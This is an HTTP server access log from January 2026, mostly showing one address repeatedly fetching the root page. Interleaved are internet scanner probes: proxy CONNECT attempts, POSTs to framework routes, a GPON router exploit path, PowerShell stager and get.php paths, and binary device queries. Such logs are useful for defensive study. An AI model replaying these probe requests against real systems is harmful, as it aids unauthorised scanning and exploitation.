200 - +185.16.39.146 - - [05/Jan/2026 18:23:32] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 18:27:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 18:33:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 18:36:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 18:39:43] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 18:45:48] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 18:51:03] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 18:54:56] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 18:59:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 19:04:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 19:08:48] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 19:12:49] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 19:16:12] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 19:22:30] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 19:25:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 19:30:38] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 19:36:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 19:40:49] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 19:44:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 19:49:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 19:52:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 19:58:41] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 20:01:59] "GET / HTTP/1.1" 200 - +89.42.231.244 - - [05/Jan/2026 20:04:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 20:11:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 20:15:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 20:19:36] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 20:25:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 20:29:14] "GET / HTTP/1.1" 200 - +130.12.180.52 - - [05/Jan/2026 20:31:43] code 501, message Unsupported method ('CONNECT') +130.12.180.52 - - [05/Jan/2026 20:31:43] "CONNECT api.ipify.org:443 HTTP/1.1" 501 - +130.12.180.52 - - [05/Jan/2026 20:31:43] code 501, message Unsupported method ('CONNECT') +130.12.180.52 - - [05/Jan/2026 20:31:43] "CONNECT api.ipify.org:443 HTTP/1.1" 501 - +130.12.180.52 - - [05/Jan/2026 20:31:46] code 501, message Unsupported method ('CONNECT') +130.12.180.52 - - [05/Jan/2026 20:31:46] "CONNECT api.ipify.org:443 HTTP/1.1" 501 - +130.12.180.52 - - [05/Jan/2026 20:31:46] code 501, message Unsupported method ('CONNECT') +130.12.180.52 - - [05/Jan/2026 20:31:46] "CONNECT api.ipify.org:443 HTTP/1.1" 501 - +130.12.180.52 - - [05/Jan/2026 20:31:47] code 501, message Unsupported method ('CONNECT') +130.12.180.52 - - [05/Jan/2026 20:31:47] "CONNECT api.ipify.org:443 HTTP/1.1" 501 - +130.12.180.52 - - [05/Jan/2026 20:32:06] code 501, message Unsupported method ('CONNECT') +130.12.180.52 - - [05/Jan/2026 20:32:06] "CONNECT api.ipify.org:443 HTTP/1.1" 501 - +130.12.180.52 - - [05/Jan/2026 20:32:10] code 501, message Unsupported method ('CONNECT') +130.12.180.52 - - [05/Jan/2026 20:32:10] "CONNECT api.ipify.org:443 HTTP/1.1" 501 - +130.12.180.52 - - [05/Jan/2026 20:32:13] code 501, message Unsupported method ('CONNECT') +130.12.180.52 - - [05/Jan/2026 20:32:13] "CONNECT api.ipify.org:443 HTTP/1.1" 501 - +185.16.39.146 - - [05/Jan/2026 20:33:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 20:38:39] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 20:42:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 20:47:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 20:56:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 21:00:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 21:04:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 21:10:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 21:14:10] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 21:18:41] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 21:23:38] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 21:28:36] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 21:32:00] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 21:37:03] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 21:40:34] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 21:46:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 21:49:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 21:55:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 21:59:32] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [05/Jan/2026 22:00:07] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 22:04:35] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 22:07:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 22:13:39] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 22:16:41] "GET / HTTP/1.1" 200 - +89.42.231.244 - - [05/Jan/2026 22:18:41] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 22:22:02] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 22:26:24] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 22:30:39] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 22:35:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 22:38:26] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 22:44:17] "GET / HTTP/1.1" 200 - +87.121.84.154 - - [05/Jan/2026 22:46:04] code 501, message Unsupported method ('POST') +87.121.84.154 - - [05/Jan/2026 22:46:04] "POST / HTTP/1.1" 501 - +87.121.84.154 - - [05/Jan/2026 22:46:33] code 501, message Unsupported method ('POST') +87.121.84.154 - - [05/Jan/2026 22:46:33] "POST /_next/server HTTP/1.1" 501 - +185.16.39.146 - - [05/Jan/2026 22:48:31] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [05/Jan/2026 22:50:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 22:52:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 22:56:48] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 23:02:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 23:05:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 23:09:33] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 23:14:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 23:19:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 23:23:44] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 23:27:05] "GET / HTTP/1.1" 200 - +154.222.30.155 - - [05/Jan/2026 23:27:59] code 404, message File not found +154.222.30.155 - - [05/Jan/2026 23:27:59] "GET http://www.blackle.com/?0.109002249964306027014449728 HTTP/1.1" 404 - +154.222.30.155 - - [05/Jan/2026 23:28:00] code 404, message File not found +154.222.30.155 - - [05/Jan/2026 23:28:00] "GET http://www.boip.net/?0.5250404110456497806709468 HTTP/1.1" 404 - +185.16.39.146 - - [05/Jan/2026 23:33:23] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 23:37:23] "GET / HTTP/1.1" 200 - +87.121.84.24 - - [05/Jan/2026 23:38:30] code 501, message Unsupported method ('POST') +87.121.84.24 - - [05/Jan/2026 23:38:30] "POST / HTTP/1.1" 501 - +87.121.84.24 - - [05/Jan/2026 23:38:37] code 501, message Unsupported method ('POST') +87.121.84.24 - - [05/Jan/2026 23:38:37] "POST /_next HTTP/1.1" 501 - +87.121.84.24 - - [05/Jan/2026 23:39:10] code 501, message Unsupported method ('POST') +87.121.84.24 - - [05/Jan/2026 23:39:10] "POST /app HTTP/1.1" 501 - +87.121.84.24 - - [05/Jan/2026 23:39:21] code 501, message Unsupported method ('POST') +87.121.84.24 - - [05/Jan/2026 23:39:21] "POST /api/route HTTP/1.1" 501 - +185.16.39.146 - - [05/Jan/2026 23:41:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 23:46:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 23:50:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 23:55:29] "GET / HTTP/1.1" 200 - +142.93.32.87 - - [05/Jan/2026 23:56:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 23:59:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 00:04:30] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 00:08:03] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 00:14:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 00:19:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 00:23:02] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 00:27:49] "GET / HTTP/1.1" 200 - +141.98.11.140 - - [06/Jan/2026 00:30:43] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 00:32:07] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 00:36:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 00:42:44] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 00:46:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 00:50:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 00:55:31] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 01:00:31] "GET / HTTP/1.1" 200 - +89.42.231.244 - - [06/Jan/2026 01:02:26] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 01:03:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 01:09:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 01:13:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 01:16:49] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 01:21:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 01:25:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 01:29:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 01:34:43] "GET / HTTP/1.1" 200 - +183.134.59.133 - - [06/Jan/2026 01:36:25] code 404, message File not found +183.134.59.133 - - [06/Jan/2026 01:36:25] "GET /favicon.ico HTTP/1.1" 404 - +183.134.59.133 - - [06/Jan/2026 01:36:25] "GET / HTTP/1.1" 200 - +183.134.59.133 - - [06/Jan/2026 01:36:26] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 01:39:17] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [06/Jan/2026 01:45:35] "GET / HTTP/1.1" 200 - +185.247.137.147 - - [06/Jan/2026 02:19:06] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 02:34:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 02:40:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 02:49:55] "GET / HTTP/1.1" 200 - +198.235.24.125 - - [06/Jan/2026 03:13:02] "GET / HTTP/1.1" 200 - +45.194.92.18 - - [06/Jan/2026 03:23:50] code 400, message Bad request version ('À\\x13À') +45.194.92.18 - - [06/Jan/2026 03:23:50] "\x16\x03\x01\x05¬\x01\x00\x05¨\x03\x03¡\x1d\x10\x1d®Éä¥bu\x9døeÑ©v±À¡ã¨\x8e\x99^´UÃN\x8aHØ ÀdÝ\x9f=ÒÔn\x14\x1biÍ\x95Û?rPîgënÕ?ÜÄq\x9cg3*n`\x00\x1aÀ+À/À,À0̨̩À\x09À\x13À" 400 - +45.194.92.18 - - [06/Jan/2026 03:23:50] "GET / HTTP/1.1" 200 - +45.194.92.18 - - [06/Jan/2026 03:23:50] code 400, message Bad request syntax ('1111\\x88\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00%\\xad\\x11>') +45.194.92.18 - - [06/Jan/2026 03:23:50] "1111\x88\x00\x00\x00\x01\x01\x00\x00\x00%­\x11>" 400 - +45.194.92.18 - - [06/Jan/2026 03:23:50] code 404, message File not found +45.194.92.18 - - [06/Jan/2026 03:23:50] "GET /index.htm HTTP/1.1" 404 - +45.194.92.18 - - [06/Jan/2026 03:23:50] code 400, message Bad request version ('encoding="UTF-8"?>') +45.194.92.18 - - [06/Jan/2026 03:23:50] "1111\x0c\x01\x00\x00\x04\x00\x00\x01\x1b\x09\x00\x00\x02\x01\x00\x00ü\x00\x00\x00admin\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00queryBasicCfg\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 400 - +45.194.92.18 - - [06/Jan/2026 03:23:51] code 400, message Bad request syntax ('1111\\x88\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00%\\xad\\x11>') +45.194.92.18 - - [06/Jan/2026 03:23:51] "1111\x88\x00\x00\x00\x01\x01\x00\x00\x00%­\x11>" 400 - +45.194.92.18 - - [06/Jan/2026 03:23:52] code 400, message Bad request syntax ('1111\\x88\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00%\\xad\\x11>') +45.194.92.18 - - [06/Jan/2026 03:23:52] "1111\x88\x00\x00\x00\x01\x01\x00\x00\x00%­\x11>" 400 - +204.76.203.212 - - [06/Jan/2026 03:24:12] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 03:41:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 03:45:35] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 03:48:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 03:53:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 03:58:10] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 04:01:21] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 04:05:18] "GET / HTTP/1.1" 200 - +206.191.154.44 - - [06/Jan/2026 04:06:33] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 04:09:39] "GET / HTTP/1.1" 200 - +82.23.183.33 - - [06/Jan/2026 04:12:34] code 404, message File not found +82.23.183.33 - - [06/Jan/2026 04:12:34] "GET /dispatch.asp HTTP/1.1" 404 - +185.16.39.146 - - [06/Jan/2026 04:14:05] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 04:17:38] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 04:22:10] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 04:26:25] "GET / HTTP/1.1" 200 - +141.98.11.140 - - [06/Jan/2026 04:29:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 04:30:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 04:34:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 04:38:40] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 04:43:02] "GET / HTTP/1.1" 200 - +89.42.231.244 - - [06/Jan/2026 04:47:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 04:47:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 04:51:06] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 04:55:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 04:59:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 05:03:48] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 05:07:51] "GET / HTTP/1.1" 200 - +106.75.21.34 - - [06/Jan/2026 05:09:21] code 400, message Bad request version ('³ªå') +106.75.21.34 - - [06/Jan/2026 05:09:21] "\x16\x03\x01\x00ò\x01\x00\x00î\x03\x03èwy§·lS9ÐBÝ.@á¹U\x14[±û3û\x97@`>Õí\x9a\x82\x02Î ÿ\x9f\x09³ªå" 400 - +106.75.21.34 - - [06/Jan/2026 05:09:22] code 400, message Bad request version ('À\\x13À') +106.75.21.34 - - [06/Jan/2026 05:09:22] "\x16\x03\x01\x00ò\x01\x00\x00î\x03\x03\x9a\x16q\x83Í\x1bþ#\x84\x17l\x9f\x8c\x8e\x87\x02¤¬ko%#\x95{¦\x15\x94K;5­y \x80í§¯\x02Û\x87\x15\x94¹3GäRPûs\x9ferèÔ¶ÀB_3ëI÷n:\x00&À+À/À,À0̨̩À\x09À\x13À" 400 - +106.75.21.34 - - [06/Jan/2026 05:09:23] code 404, message File not found +106.75.21.34 - - [06/Jan/2026 05:09:23] "GET /v1/vector/collections/describe HTTP/1.1" 404 - +106.75.21.34 - - [06/Jan/2026 05:09:23] code 404, message File not found +106.75.21.34 - - [06/Jan/2026 05:09:23] "GET /v1 HTTP/1.1" 404 - +106.75.21.34 - - [06/Jan/2026 05:09:24] "GET / HTTP/1.1" 200 - +106.75.21.34 - - [06/Jan/2026 05:09:25] "GET / HTTP/1.1" 200 - +106.75.21.34 - - [06/Jan/2026 05:09:26] code 404, message File not found +106.75.21.34 - - [06/Jan/2026 05:09:26] "GET /favicon.ico HTTP/1.1" 404 - +106.75.21.34 - - [06/Jan/2026 05:09:26] "GET /game.js HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 05:12:03] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 05:16:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 05:21:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 05:24:26] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 05:29:07] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 05:32:33] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 05:37:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 05:40:40] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 05:45:33] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 05:49:02] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [06/Jan/2026 05:52:35] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 05:54:30] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 05:57:56] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 06:01:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 06:06:52] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 06:10:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 06:14:34] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [06/Jan/2026 06:19:40] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 06:23:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 06:27:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 06:31:26] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 06:35:52] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 06:38:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 06:43:32] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 06:48:20] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 06:52:34] "GET / HTTP/1.1" 200 - +89.42.231.244 - - [06/Jan/2026 06:55:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 06:56:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 07:01:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 07:04:22] "GET / HTTP/1.1" 200 - +198.235.24.139 - - [06/Jan/2026 07:04:37] "GET / HTTP/1.0" 200 - +185.16.39.146 - - [06/Jan/2026 07:09:39] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 07:13:38] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 07:16:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 07:21:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 07:25:38] "GET / HTTP/1.1" 200 - +206.191.154.46 - - [06/Jan/2026 07:29:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 07:29:56] "GET / HTTP/1.1" 200 - +87.121.84.154 - - [06/Jan/2026 07:32:48] code 501, message Unsupported method ('POST') +87.121.84.154 - - [06/Jan/2026 07:32:48] "POST /api HTTP/1.1" 501 - +185.16.39.146 - - [06/Jan/2026 07:34:24] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 07:38:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 07:42:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 07:46:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 07:50:36] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 07:55:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 07:58:56] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 08:03:12] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 08:06:38] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 08:11:44] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 08:15:40] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 08:19:16] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 08:23:32] "GET / HTTP/1.1" 200 - +87.121.84.154 - - [06/Jan/2026 08:25:37] code 501, message Unsupported method ('POST') +87.121.84.154 - - [06/Jan/2026 08:25:37] "POST /app HTTP/1.1" 501 - +87.121.84.154 - - [06/Jan/2026 08:25:45] code 501, message Unsupported method ('POST') +87.121.84.154 - - [06/Jan/2026 08:25:45] "POST /api/route HTTP/1.1" 501 - +185.16.39.146 - - [06/Jan/2026 08:28:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 08:31:44] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 08:36:25] "GET / HTTP/1.1" 200 - +45.156.129.77 - - [06/Jan/2026 08:39:32] "GET / HTTP/1.1" 200 - +45.156.129.77 - - [06/Jan/2026 08:39:33] code 404, message File not found +45.156.129.77 - - [06/Jan/2026 08:39:33] "GET /favicon.ico HTTP/1.1" 404 - +185.16.39.146 - - [06/Jan/2026 08:40:00] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 08:44:17] "GET / HTTP/1.1" 200 - +87.121.84.154 - - [06/Jan/2026 08:48:21] code 501, message Unsupported method ('POST') +87.121.84.154 - - [06/Jan/2026 08:48:21] "POST / HTTP/1.1" 501 - +87.121.84.154 - - [06/Jan/2026 08:48:23] code 501, message Unsupported method ('POST') +87.121.84.154 - - [06/Jan/2026 08:48:23] "POST /_next HTTP/1.1" 501 - +87.121.84.154 - - [06/Jan/2026 08:48:27] code 501, message Unsupported method ('POST') +87.121.84.154 - - [06/Jan/2026 08:48:27] "POST /api HTTP/1.1" 501 - +185.16.39.146 - - [06/Jan/2026 08:48:27] "GET / HTTP/1.1" 200 - +87.121.84.154 - - [06/Jan/2026 08:48:54] code 501, message Unsupported method ('POST') +87.121.84.154 - - [06/Jan/2026 08:48:54] "POST /api/route HTTP/1.1" 501 - +185.16.39.146 - - [06/Jan/2026 08:53:10] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 08:56:40] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 09:00:38] "GET / HTTP/1.1" 200 - +103.93.93.211 - - [06/Jan/2026 09:01:31] code 501, message Unsupported method ('POST') +103.93.93.211 - - [06/Jan/2026 09:01:31] "POST /GponForm/diag_Form?images/ HTTP/1.1" 501 - +185.16.39.146 - - [06/Jan/2026 09:05:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 09:09:05] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 09:13:01] "GET / HTTP/1.1" 200 - +165.232.75.12 - - [06/Jan/2026 09:16:50] code 400, message Bad HTTP/0.9 request type ('\\x16\\x03\\x01\\x00{\\x01\\x00\\x00w\\x03\\x03?ê1e\\x90]4³\\x18à\\x04![d½\\x8f»ó§£\\x18\\x95\\x9c89_i"\\x97\\x1afç\\x00\\x00\\x1aÀ/À+À\\x11À\\x07À\\x13À') +165.232.75.12 - - [06/Jan/2026 09:16:50] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03?ê1e\x90]4³\x18à\x04![d½\x8f»ó§£\x18\x95\x9c89_i"\x97\x1afç\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +165.232.75.12 - - [06/Jan/2026 09:16:50] code 400, message Bad request version ('À\\x14À') +165.232.75.12 - - [06/Jan/2026 09:16:50] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\x0bD\x8crDÁ1Ümøã\x9b\x82ç\x8f¿âÞ¬Ú²Û0\x8f½âùLÔ\x94u\x95\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +165.232.75.12 - - [06/Jan/2026 09:16:50] "GET / HTTP/1.1" 200 - +165.232.75.12 - - [06/Jan/2026 09:16:50] code 404, message File not found +165.232.75.12 - - [06/Jan/2026 09:16:50] "GET /download/powershell/ HTTP/1.1" 404 - +165.232.75.12 - - [06/Jan/2026 09:16:50] code 404, message File not found +165.232.75.12 - - [06/Jan/2026 09:16:50] "GET /get.php HTTP/1.1" 404 - +185.16.39.146 - - [06/Jan/2026 09:17:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 09:20:36] "GET / HTTP/1.1" 200 - +205.210.31.37 - - [06/Jan/2026 09:23:03] "GET / HTTP/1.1" 200 - +85.217.140.11 - - [06/Jan/2026 09:23:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 09:25:30] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 09:28:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 09:32:26] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 09:36:20] "GET / HTTP/1.1" 200 - +127.0.0.1 - - [06/Jan/2026 09:37:38] code 404, message File not found +127.0.0.1 - - [06/Jan/2026 09:37:38] "GET /api/http/routers HTTP/1.1" 404 - +127.0.0.1 - - [06/Jan/2026 09:37:52] code 404, message File not found +127.0.0.1 - - [06/Jan/2026 09:37:52] "GET /api/http/routers HTTP/1.1" 404 - +185.16.39.146 - - [06/Jan/2026 09:40:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 09:44:35] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 09:48:52] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [06/Jan/2026 09:52:26] "GET / HTTP/1.1" 200 - 